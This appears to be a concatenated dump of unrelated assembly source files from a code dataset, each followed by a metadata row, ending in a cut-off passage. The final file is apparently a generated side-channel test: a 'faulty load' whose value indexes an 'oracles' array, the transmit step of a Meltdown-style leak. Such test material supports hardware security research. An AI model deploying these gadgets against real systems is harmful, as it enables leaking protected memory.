80106f96: 5e pop %esi
80106f97: 5f pop %edi
80106f98: 5d pop %ebp
80106f99: c3 ret
| 34.613818 | 129 | 0.534075 | [
"MIT-0"
] | quakthemaster/xv6_pro | kernel.asm | 661,297 | Assembly |
; A051032: Summatory Rudin-Shapiro sequence for 2^(n-1).
; 2,3,3,5,5,9,9,17,17,33,33,65,65,129,129,257,257,513,513,1025,1025,2049,2049,4097,4097,8193,8193,16385,16385,32769,32769,65537,65537,131073,131073,262145,262145,524289,524289,1048577,1048577,2097153
mov $1,2
mov $2,$0
add $2,1
div $2,2
pow $1,$2
add $1,1
mov $0,$1
| 29.454545 | 199 | 0.719136 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/051/A051032.asm | 324 | Assembly |
; A165326: a(0)=a(1)=1, a(n) = -a(n-1) for n > 1.
; 1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1
trn $0,1
mov $1,-1
pow $1,$0
mov $0,$1
| 37.625 | 210 | 0.418605 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/165/A165326.asm | 301 | Assembly |
;
; ANSI Video handling for the Commodore 128 (Z80 mode)
; By Stefano Bodrato - 22/08/2001
;
; Text Attributes
; m - Set Graphic Rendition
;
; $Id: f_ansi_attr.asm,v 1.4 2016-04-04 18:31:22 dom Exp $
;
SECTION code_clib
PUBLIC ansi_attr
EXTERN INVRS
EXTERN __c128_attr
.ansi_attr
and a
jr nz,noreset
ld a,1 ;White on black
ld (__c128_attr),a
xor a
ld (INVRS+1),a
ret
.noreset
cp 1
jr nz,nobold
ld a,128
ld (INVRS+1),a
ret
.nobold
cp 2
jr z,dim
cp 8
jr nz,nodim
.dim
xor a
ld (INVRS+1),a
ret
.nodim
cp 4
jr nz,nounderline
ld a,128
ld (INVRS+1),a
ret
.nounderline
cp 24
jr nz,noCunderline
xor a
ld (INVRS+1),a
ret
.noCunderline
cp 5
jr nz,noblink
ld a,128
ld (INVRS+1),a
ret
.noblink
cp 25
jr nz,nocblink
xor a
ld (INVRS+1),a
ret
.nocblink
cp 7
jr nz,noreverse
ld a,128
ld (INVRS+1),a ;inverse 1
ret
.noreverse
cp 27
jr nz,noCreverse
xor a
ld (INVRS+1),a ; inverse 0
ret
.noCreverse
cp 8
jr nz,noinvis
ld a,(__c128_attr)
ld (oldattr),a
and @11110000
ld e,a
rra
rra
rra
rra
or e
ld (__c128_attr),a
ret
.oldattr
defb 0
.noinvis
cp 28
jr nz,nocinvis
ld a,(oldattr)
ld (__c128_attr),a
ret
.nocinvis
cp 30
jp m,nofore
cp 37+1
jp p,nofore
sub 30
call palette
;''''''''''''''''''''''
ld (__c128_attr),a
ret
.nofore
cp 40
jp m,noback
cp 47+1
jp p,noback
sub 40 ; Workaround for background: we force to inverse video.
call palette ; could work in some cases, but isn't much compatible !
;''''''''''''''''''''''
; ld (53280),a ;border
; ld (53281),a ;background
; ld (__c128_attr),a
ld (__c128_attr),a
ld a,128
ld (INVRS+1),a
.noback
ret
.palette
;'' Palette Handling ''
ld e,a
ld d,0
ld hl,attrtab
add hl,de
ld a,(hl)
ret
.attrtab
defb 0
defb 2
defb 5
defb 7
defb 6
defb 4
defb 3
defb 1
| 17.622378 | 77 | 0.464286 | [
"Unlicense"
] | drunkfly/gamemyx | Tools/z88dk/libsrc/target/c128/stdio/ansi/f_ansi_attr.asm | 2,520 | Assembly |
; SLASM_VERSION #SLASM_VERSION#
; TARGET #TARGET#
[BITS 64]
global main ; LINUX
%macro LINUX_x86_64_SYSCALL1 0
mov rax, [rsp + 8] ; set syscall code
mov rdi, [rsp + 16] ; set first argument
syscall ; perform syscall
ret ; return
%endmacro
%macro C_CALL_3 0
push rbp ; store old base pointer
mov rbp, rsp ; set new base pointer
mov rsi, [rbp + 40] ; set third argument
mov rdi, [rbp + 32] ; set second argument
mov rax, [rbp + 24] ; set first argument
and rsp, -16 ; align stack to 16-byte boundary
call [rbp + 16] ; perform C function call
mov rsp, rbp ; clean up stack
pop rbp ; restore old base pointer
ret ; return
%endmacro
section .text
default rel
LINUX_x86_64_SYSCALL1_WITH_RET: LINUX_x86_64_SYSCALL1
LINUX_x86_64_SYSCALL1_NO_RET: LINUX_x86_64_SYSCALL1
C_CALL_3_WITH_RET: C_CALL_3
C_CALL_3_NO_RET: C_CALL_3
main: ; LINUX
; create stack frame
push rbp
mov rbp, rsp
; call entry function
call #ENTRY_FUNC_NAME#
; delete stack frame
mov rsp, rbp
pop rbp
; return (note that rax already contains the exit code from previous call instruction)
ret
DEBUG_PRINT_I64:
; arg4 (number)
mov rax, [rsp + 8]
push rax
; arg3 (format)
lea rax, [.fmt]
push rax
; arg2 (number of floating-point arguments)
push 0
; arg1 (function address)
lea rax, [_printf wrt ..gotpcrel] ; obtain pointer to function address
push QWORD [rax] ; deference pointer
; perform call
call C_CALL_3_NO_RET
; remove aruments
add rsp, 32
; return
ret
; LOCAL READONLY VARIABLES
.fmt: db "%lli", 0x0A, 0
#SLASM_FUNCS# | 23.1875 | 90 | 0.601617 | [
"MIT"
] | Rayshard/slate-pl | tests/slasm/nasm_template.asm | 1,855 | Assembly |
;/*!
; @file
;
; @ingroup fapi
;
; @brief BksFreeFocus DOS wrapper
;
; (c) osFree Project 2018, <http://www.osFree.org>
; for licence see licence.txt in root directory, or project website
;
; This is Family API implementation for DOS, used with BIND tools
; to link required API
;
; @author Yuri Prokushev (yuri.prokushev@gmail.com)
;
;*/
.8086
; Helpers
INCLUDE helpers.inc
_TEXT SEGMENT BYTE PUBLIC 'CODE' USE16
@BKSPROLOG BKSFREEFOCUS
KBDHANDLE DW ? ;KEYBOARD HANDLE
@BKSSTART BKSFREEFOCUS
; code here
@BKSEPILOG BKSFREEFOCUS
_TEXT ENDS
END
| 17.575758 | 69 | 0.698276 | [
"BSD-3-Clause"
] | osfree-project/FamilyAPI | bks/BksFreeFocus.asm | 580 | Assembly |
; A017555: (12n+2)^11.
; 2048,4049565169664,3670344486987776,238572050223552512,4882812500000000000,52036560683837093888,364375289404334925824,1903193578437064103936,8007313507497959524352,28531167061100000000000
mul $0,12
add $0,2
pow $0,11
| 34.714286 | 189 | 0.855967 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/017/A017555.asm | 243 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Print Spooler
FILE: processTables.asm
AUTHOR: Jim DeFrisco, 15 March 1990
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 3/15/90 Initial revision
DESCRIPTION:
This file contains various tables required for the process module
of the print spooler.
$Id: processTables.asm,v 1.1 97/04/07 11:11:26 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintInit segment resource
; This table contains the offsets to the permanent name strings
if DBCS_PCGEOS
portNameTable nptr.wchar \
NameSerialPort, ; PPT_SERIAL
NameParallelPort, ; PPT_PARALLEL
NameFilePort, ; PPT_FILE
NameNothingPort, ; PPT_NOTHING
0 ; PPT_CUSTOM
else
portNameTable nptr.char \
NameSerialPort, ; PPT_SERIAL
NameParallelPort, ; PPT_PARALLEL
NameFilePort, ; PPT_FILE
NameNothingPort, ; PPT_NOTHING
0 ; PPT_CUSTOM
endif
.assert (size portNameTable eq PrinterPortType)
;-------------------------------------------------------------------------
; I/O Driver Permanent Names
;-------------------------------------------------------------------------
if DBCS_PCGEOS
if ERROR_CHECK
NameSerialPort wchar "serialec.geo",0
NameParallelPort wchar "parallel.geo",0
NameFilePort wchar "filestre.geo",0
NameNothingPort wchar 0
else
NameSerialPort wchar "serial.geo",0
NameParallelPort wchar "parallel.geo",0
NameFilePort wchar "filestr.geo",0
NameNothingPort wchar 0
endif
else
if ERROR_CHECK
NameSerialPort char "serialec.geo",0
NameParallelPort char "parallee.geo",0
NameFilePort char "filestre.geo",0
NameNothingPort char 0
else
NameSerialPort char "serial.geo",0
NameParallelPort char "parallel.geo",0
NameFilePort char "filestr.geo",0
NameNothingPort char 0
endif
endif
; This table contains the offsets to the verify routines
; for all the types of ports supported by the spooler
portVerifyTable nptr.near \
VerifySerialPort, ; PPT_SERIAL
VerifyParallelPort, ; PPT_PARALLEL
VerifyFilePort, ; PPT_FILE
VerifyNothingPort, ; PPT_NOTHING
VerifyCustomPort ; PPT_CUSTOM
.assert (size portVerifyTable eq PrinterPortType)
; This table contains the offsets to the
; initialization routines for all the types of ports
; supported by the spooler
portInitTable nptr.near \
InitSerialPort, ; PPT_SERIAL
InitParallelPort, ; PPT_PARALLEL
InitFilePort, ; PPT_FILE
InitNothingPort, ; PPT_NOTHING
InitCustomPort ; PPT_CUSTOM
.assert (size portInitTable eq PrinterPortType)
; This table contains the offsets to the exit routines
; for all the types of ports supported by the spooler
portExitTable nptr.near \
ExitSerialPort, ; PPT_SERIAL
ExitParallelPort, ; PPT_PARALLEL
ExitFilePort, ; PPT_FILE
ExitNothingPort, ; PPT_NOTHING
ExitCustomPort ; PPT_CUSTOM
.assert (size portExitTable eq PrinterPortType)
; This is a table of the parallel port names, that we use
; in order to modify the .ini file (SBCS)
parallelPortNames nptr.char \
portName1, ; port1
portName2, ; port2
portName3, ; port3
portName4 ; port4
portName1 char "port1",0
portName2 char "port2",0
portName3 char "port3",0
portName4 char "port4",0
PrintInit ends
PrintError segment resource
; This table contains the offsets to the error routines
; for all the types of ports supported by the spooler
portErrorTable nptr.near \
ErrorSerialPort, ; PPT_SERIAL
ErrorParallelPort, ; PPT_PARALLEL
ErrorFilePort, ; PPT_FILE
ErrorNothingPort, ; PPT_NOTHING
ErrorCustomPort ; PPT_CUSTOM
.assert (size portErrorTable eq PrinterPortType)
; This table is used by CommPortErrorHandler (spool thread 0) to close
; a port when an error occurs on a print job that has already been
; aborted (this can happen if a user deletes a print job, and then
; turns off the printer, for example). Since most stream drivers will
; probably crash if another thread tries to close the port, most of
; the entries in this table do nothing. If the other stream drivers
; are made more robust, then the proper entries should be added to
; this table.
portCloseTable nptr.near \
DoNothing, ; PPT_SERIAL
CloseParallelPort, ; PPT_PARALLEL
DoNothing, ; PPT_FILE
DoNothing, ; PPT_NOTHING
CloseCustomPort ; PPT_CUSTOM
DoNothing proc near
ret
DoNothing endp
.assert (size portCloseTable eq PrinterPortType)
; This table contains the offsets to the input routines
; for all the types of ports supported by the spooler
portInputTable nptr.near \
InputSerialPort, ; PPT_SERIAL
InputNothingPort, ; PPT_PARALLEL
InputNothingPort, ; PPT_FILE
InputNothingPort, ; PPT_NOTHING
InputNothingPort ; PPT_CUSTOM
.assert (size portInputTable eq PrinterPortType)
; This table contains the chunk handles of the strings that
; describe what type of port is being used. These strings
; are used as part of dialog box code, so the actual strings
; are in the ErrorBoxesUI resource, so they can be localized.
; If you add support for a new port type, be sure to add
; a string to ErrorBoxesUI.
portStrings nptr.char \
offset ErrorBoxesUI:SerialString, ; PPT_SERIAL
offset ErrorBoxesUI:ParallelString, ; PPT_PARALLEL
offset ErrorBoxesUI:FileString, ; PPT_FILE
offset ErrorBoxesUI:NothingString, ; PPT_NOTHING
offset ErrorBoxesUI:CustomString ; PPT_CUSTOM
.assert (size portStrings eq PrinterPortType)
PrintError ends
| 28.935323 | 79 | 0.68793 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Library/Spool/Process/processTables.asm | 5,816 | Assembly |
;--------------------------------------------------------------------
; Praktikum SMD 2015
; M.Wahyudin (140310120031)
;
; Name : LATIH12.ASM
; Desc : Menampilkan digit 1234 dari tabel ke 4-display segmen
; Input : -
; Output: 4-display segmen di P2
;--------------------------------------------------------------------
cseg at 0
digit: mov R0, #4 ; Menentukan pengulangan 4 kali
mov dptr, #tabel ; mengambil alamat tabel
ulang: mov A, R0
dec A
movc A, @A+dptr ; mengambil tampilan dari tabel
mov P2, A ; mengirimkan digi ke P2
call tunda ; tunda
djnz R0, ulang ; ulang ke-4 digit tampilan
jmp digit ; ulang ke awal
tunda: mov R7, #0
djnz R7, $
ret
tabel: db 01h, 12h, 23h, 34h ; tabel digit
; Jika bcd (biasa) tak support multi 7 segment diganti :
; 11h, 22h, 43h, 84h
; MSB: 1111b LSB: BCD
; MSB: 8421d LSB: BCD
end
| 29.69697 | 69 | 0.489796 | [
"MIT"
] | hyuwah/fu-praktikum-smd | Modul 3/latih12.asm | 980 | Assembly |
# $Id: 10_ld_2.asm,v 1.3 2001/03/22 00:38:59 ellard Exp $
#
# Copyright 1999-2001 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ Tests basic ld1 functionality
#@ Makes sure that the address isn't simply loaded into the des...
# OK
lc r2, $a
lc r3, $b
lc r4, $c
lc r5, $d
lc r6, $e
lc r7, $f
lc r8, $g
ld r9, r2, 0
ld r10, r3, 0
ld r11, r4, 0
ld r12, r5, 0
ld r13, r6, 0
ld r14, r7, 0
ld r15, r8, 0
hlt
_data_:
a:
.byte 'a' , 0001, 0002, 0003, 0004, 0005, 0006, 0007
.byte 0020, 0021, 0022, 0023, 0024, 0025, 0026, 0027
.byte 0030, 0031, 0032, 0033, 0034, 0035, 0036, 0037
b:
.byte 'b' , 0041, 0042, 0043, 0044, 0045, 0046, 0047
.byte 0060, 0061, 0062, 0063, 0064, 0065, 0066, 0067
.byte 0070, 0071, 0072, 0073, 0074, 0075, 0076, 0077
c:
.byte 'c' , 0101, 0102, 0103, 0104, 0105, 0106, 0107
.byte 0120, 0121, 0122, 0123, 0124, 0125, 0126, 0127
.byte 0130, 0131, 0132, 0133, 0134, 0135, 0136, 0137
d:
.byte 'd' , 0141, 0142, 0143, 0144, 0145, 0146, 0147
.byte 0160, 0161, 0162, 0163, 0164, 0165, 0166, 0167
.byte 0170, 0171, 0172, 0173, 0174, 0175, 0176, 0177
e:
.byte 'e' , 0201, 0202, 0203, 0204, 0205, 0206, 0207
.byte 0260, 0261, 0262, 0263, 0264, 0265, 0266, 0267
.byte 0270, 0271, 0272, 0273, 0274, 0275, 0276, 0277
f:
.byte 'f' , 0301, 0302, 0303, 0304, 0305, 0306, 0307
.byte 0320, 0321, 0322, 0323, 0324, 0325, 0326, 0327
.byte 0330, 0331, 0332, 0333, 0334, 0335, 0336, 0337
g:
.byte 'g', 0341, 0342, 0343, 0344, 0345, 0346, 0347
.byte 0360, 0361, 0362, 0363, 0364, 0365, 0366, 0367
.byte 0370, 0371, 0372, 0373, 0374, 0375, 0376, 0377
| 26.419355 | 70 | 0.639194 | [
"BSD-3-Clause"
] | dellard/ant-architecture | Src/Ant8/Tests/aa8/basic/10_ld_2.asm | 1,638 | Assembly |
; A048696: Generalized Pellian with second term equal to 9.
; 1,9,19,47,113,273,659,1591,3841,9273,22387,54047,130481,315009,760499,1836007,4432513,10701033,25834579,62370191,150574961,363520113,877615187,2118750487,5115116161,12348982809,29813081779,71975146367,173763374513,419501895393,1012767165299,2445036225991,5902839617281,14250715460553,34404270538387,83059256537327,200522783613041,484104823763409,1168732431139859,2821569686043127,6811871803226113
add $0,1
mov $2,7
lpb $0,1
sub $0,1
add $3,1
add $1,$3
add $2,$1
mov $1,$3
mov $3,$2
lpe
| 40.071429 | 398 | 0.803922 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/048/A048696.asm | 561 | Assembly |
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
; These functions are only valid when:
; x_step_q4 == 16
; w%4 == 0
; h%4 == 0
; taps == 8
; AV1_FILTER_WEIGHT == 128
; AV1_FILTER_SHIFT == 7
EXPORT |aom_convolve8_horiz_neon|
EXPORT |aom_convolve8_vert_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
; Multiply and accumulate by q0
MACRO
MULTIPLY_BY_Q0 $dst, $src0, $src1, $src2, $src3, $src4, $src5, $src6, $src7
vmull.s16 $dst, $src0, d0[0]
vmlal.s16 $dst, $src1, d0[1]
vmlal.s16 $dst, $src2, d0[2]
vmlal.s16 $dst, $src3, d0[3]
vmlal.s16 $dst, $src4, d1[0]
vmlal.s16 $dst, $src5, d1[1]
vmlal.s16 $dst, $src6, d1[2]
vmlal.s16 $dst, $src7, d1[3]
MEND
; r0 const uint8_t *src
; r1 int src_stride
; r2 uint8_t *dst
; r3 int dst_stride
; sp[]const int16_t *filter_x
; sp[]int x_step_q4
; sp[]const int16_t *filter_y ; unused
; sp[]int y_step_q4 ; unused
; sp[]int w
; sp[]int h
|aom_convolve8_horiz_neon| PROC
push {r4-r10, lr}
sub r0, r0, #3 ; adjust for taps
ldr r5, [sp, #32] ; filter_x
ldr r6, [sp, #48] ; w
ldr r7, [sp, #52] ; h
vld1.s16 {q0}, [r5] ; filter_x
sub r8, r1, r1, lsl #2 ; -src_stride * 3
add r8, r8, #4 ; -src_stride * 3 + 4
sub r4, r3, r3, lsl #2 ; -dst_stride * 3
add r4, r4, #4 ; -dst_stride * 3 + 4
rsb r9, r6, r1, lsl #2 ; reset src for outer loop
sub r9, r9, #7
rsb r12, r6, r3, lsl #2 ; reset dst for outer loop
mov r10, r6 ; w loop counter
aom_convolve8_loop_horiz_v
vld1.8 {d24}, [r0], r1
vld1.8 {d25}, [r0], r1
vld1.8 {d26}, [r0], r1
vld1.8 {d27}, [r0], r8
vtrn.16 q12, q13
vtrn.8 d24, d25
vtrn.8 d26, d27
pld [r0, r1, lsl #2]
vmovl.u8 q8, d24
vmovl.u8 q9, d25
vmovl.u8 q10, d26
vmovl.u8 q11, d27
; save a few instructions in the inner loop
vswp d17, d18
vmov d23, d21
add r0, r0, #3
aom_convolve8_loop_horiz
add r5, r0, #64
vld1.32 {d28[]}, [r0], r1
vld1.32 {d29[]}, [r0], r1
vld1.32 {d31[]}, [r0], r1
vld1.32 {d30[]}, [r0], r8
pld [r5]
vtrn.16 d28, d31
vtrn.16 d29, d30
vtrn.8 d28, d29
vtrn.8 d31, d30
pld [r5, r1]
; extract to s16
vtrn.32 q14, q15
vmovl.u8 q12, d28
vmovl.u8 q13, d29
pld [r5, r1, lsl #1]
; src[] * filter_x
MULTIPLY_BY_Q0 q1, d16, d17, d20, d22, d18, d19, d23, d24
MULTIPLY_BY_Q0 q2, d17, d20, d22, d18, d19, d23, d24, d26
MULTIPLY_BY_Q0 q14, d20, d22, d18, d19, d23, d24, d26, d27
MULTIPLY_BY_Q0 q15, d22, d18, d19, d23, d24, d26, d27, d25
pld [r5, -r8]
; += 64 >> 7
vqrshrun.s32 d2, q1, #7
vqrshrun.s32 d3, q2, #7
vqrshrun.s32 d4, q14, #7
vqrshrun.s32 d5, q15, #7
; saturate
vqmovn.u16 d2, q1
vqmovn.u16 d3, q2
; transpose
vtrn.16 d2, d3
vtrn.32 d2, d3
vtrn.8 d2, d3
vst1.u32 {d2[0]}, [r2@32], r3
vst1.u32 {d3[0]}, [r2@32], r3
vst1.u32 {d2[1]}, [r2@32], r3
vst1.u32 {d3[1]}, [r2@32], r4
vmov q8, q9
vmov d20, d23
vmov q11, q12
vmov q9, q13
subs r6, r6, #4 ; w -= 4
bgt aom_convolve8_loop_horiz
; outer loop
mov r6, r10 ; restore w counter
add r0, r0, r9 ; src += src_stride * 4 - w
add r2, r2, r12 ; dst += dst_stride * 4 - w
subs r7, r7, #4 ; h -= 4
bgt aom_convolve8_loop_horiz_v
pop {r4-r10, pc}
ENDP
|aom_convolve8_vert_neon| PROC
push {r4-r8, lr}
; adjust for taps
sub r0, r0, r1
sub r0, r0, r1, lsl #1
ldr r4, [sp, #32] ; filter_y
ldr r6, [sp, #40] ; w
ldr lr, [sp, #44] ; h
vld1.s16 {q0}, [r4] ; filter_y
lsl r1, r1, #1
lsl r3, r3, #1
aom_convolve8_loop_vert_h
mov r4, r0
add r7, r0, r1, asr #1
mov r5, r2
add r8, r2, r3, asr #1
mov r12, lr ; h loop counter
vld1.u32 {d16[0]}, [r4], r1
vld1.u32 {d16[1]}, [r7], r1
vld1.u32 {d18[0]}, [r4], r1
vld1.u32 {d18[1]}, [r7], r1
vld1.u32 {d20[0]}, [r4], r1
vld1.u32 {d20[1]}, [r7], r1
vld1.u32 {d22[0]}, [r4], r1
vmovl.u8 q8, d16
vmovl.u8 q9, d18
vmovl.u8 q10, d20
vmovl.u8 q11, d22
aom_convolve8_loop_vert
; always process a 4x4 block at a time
vld1.u32 {d24[0]}, [r7], r1
vld1.u32 {d26[0]}, [r4], r1
vld1.u32 {d26[1]}, [r7], r1
vld1.u32 {d24[1]}, [r4], r1
; extract to s16
vmovl.u8 q12, d24
vmovl.u8 q13, d26
pld [r5]
pld [r8]
; src[] * filter_y
MULTIPLY_BY_Q0 q1, d16, d17, d18, d19, d20, d21, d22, d24
pld [r5, r3]
pld [r8, r3]
MULTIPLY_BY_Q0 q2, d17, d18, d19, d20, d21, d22, d24, d26
pld [r7]
pld [r4]
MULTIPLY_BY_Q0 q14, d18, d19, d20, d21, d22, d24, d26, d27
pld [r7, r1]
pld [r4, r1]
MULTIPLY_BY_Q0 q15, d19, d20, d21, d22, d24, d26, d27, d25
; += 64 >> 7
vqrshrun.s32 d2, q1, #7
vqrshrun.s32 d3, q2, #7
vqrshrun.s32 d4, q14, #7
vqrshrun.s32 d5, q15, #7
; saturate
vqmovn.u16 d2, q1
vqmovn.u16 d3, q2
vst1.u32 {d2[0]}, [r5@32], r3
vst1.u32 {d2[1]}, [r8@32], r3
vst1.u32 {d3[0]}, [r5@32], r3
vst1.u32 {d3[1]}, [r8@32], r3
vmov q8, q10
vmov d18, d22
vmov d19, d24
vmov q10, q13
vmov d22, d25
subs r12, r12, #4 ; h -= 4
bgt aom_convolve8_loop_vert
; outer loop
add r0, r0, #4
add r2, r2, #4
subs r6, r6, #4 ; w -= 4
bgt aom_convolve8_loop_vert_h
pop {r4-r8, pc}
ENDP
END
| 27.259124 | 79 | 0.454144 | [
"BSD-2-Clause"
] | AdithyanBitmovin/aom | aom_dsp/arm/aom_convolve8_neon_asm.asm | 7,469 | Assembly |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.globl _h9_cpAddMulDgt_BNU
_h9_cpAddMulDgt_BNU:
push %ebp
mov %esp, %ebp
push %edi
movl (12)(%ebp), %eax
movl (8)(%ebp), %edx
movl (16)(%ebp), %edi
xor %ecx, %ecx
shl $(2), %edi
movd (20)(%ebp), %mm0
pandn %mm7, %mm7
.Lmain_loopgas_1:
movd (%ecx,%eax), %mm1
movd (%edx,%ecx), %mm2
pmuludq %mm0, %mm1
paddq %mm1, %mm7
paddq %mm2, %mm7
movd %mm7, (%edx,%ecx)
psrlq $(32), %mm7
add $(4), %ecx
cmp %edi, %ecx
jl .Lmain_loopgas_1
movd %mm7, %eax
emms
pop %edi
pop %ebp
ret
| 38.157895 | 80 | 0.608966 | [
"Apache-2.0"
] | idesai/ipp-crypto | sources/ippcp/asm_ia32_gas_converted/macosx/h9/merged/pcpbnumuldgtw7as.asm | 2,900 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x10211, %r15
nop
sub %rsi, %rsi
vmovups (%r15), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rax
nop
nop
nop
and %rbp, %rbp
lea addresses_WC_ht+0x15bc1, %rsi
lea addresses_WC_ht+0x1d841, %rdi
nop
nop
add $31278, %r8
mov $96, %rcx
rep movsq
add %r15, %r15
lea addresses_normal_ht+0x1810d, %rsi
lea addresses_UC_ht+0xd841, %rdi
nop
nop
nop
xor $19259, %r14
mov $80, %rcx
rep movsq
nop
nop
cmp $32419, %rcx
lea addresses_UC_ht+0x15e11, %rsi
lea addresses_WC_ht+0xc5a, %rdi
cmp %r15, %r15
mov $75, %rcx
rep movsw
nop
nop
nop
and $28991, %r8
lea addresses_WT_ht+0x18c41, %r8
clflush (%r8)
nop
nop
nop
nop
sub %r14, %r14
vmovups (%r8), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r15
nop
and %r14, %r14
lea addresses_A_ht+0x10187, %rax
nop
nop
nop
sub $44948, %rdi
movl $0x61626364, (%rax)
add %r15, %r15
lea addresses_UC_ht+0x14041, %rax
nop
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %r14
movq %r14, %xmm7
and $0xffffffffffffffc0, %rax
movntdq %xmm7, (%rax)
xor %rax, %rax
lea addresses_WC_ht+0x3211, %r8
nop
nop
nop
inc %rax
movb $0x61, (%r8)
nop
nop
nop
nop
nop
add $25666, %rbp
lea addresses_WT_ht+0x1041, %r8
nop
nop
nop
lfence
mov (%r8), %r15w
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0xf041, %rsi
lea addresses_UC_ht+0x15441, %rdi
clflush (%rdi)
nop
dec %rbp
mov $50, %rcx
rep movsq
and %rbp, %rbp
lea addresses_WC_ht+0x12f01, %r8
nop
nop
nop
nop
nop
xor %rsi, %rsi
mov (%r8), %edi
nop
nop
nop
sub %rbp, %rbp
lea addresses_WT_ht+0x17b71, %rsi
lea addresses_WC_ht+0x12b69, %rdi
nop
nop
nop
nop
nop
xor $48096, %rbp
mov $53, %rcx
rep movsb
nop
nop
and $38805, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x41, %rsi
nop
and $53584, %rdx
movb $0x51, (%rsi)
nop
nop
nop
nop
cmp $40155, %r13
// REPMOV
lea addresses_WC+0xe721, %rsi
lea addresses_WT+0x13aa1, %rdi
nop
sub $21630, %rdx
mov $42, %rcx
rep movsb
inc %rdx
// Load
lea addresses_WC+0x41, %rdi
nop
xor $61400, %rbp
movb (%rdi), %cl
nop
cmp $33090, %rsi
// Faulty Load
lea addresses_WC+0x41, %rdx
nop
nop
nop
nop
sub $5595, %r13
mov (%rdx), %rsi
lea oracles, %r9
and $0xff, %rsi
shlq $12, %rsi
mov (%r9,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}}
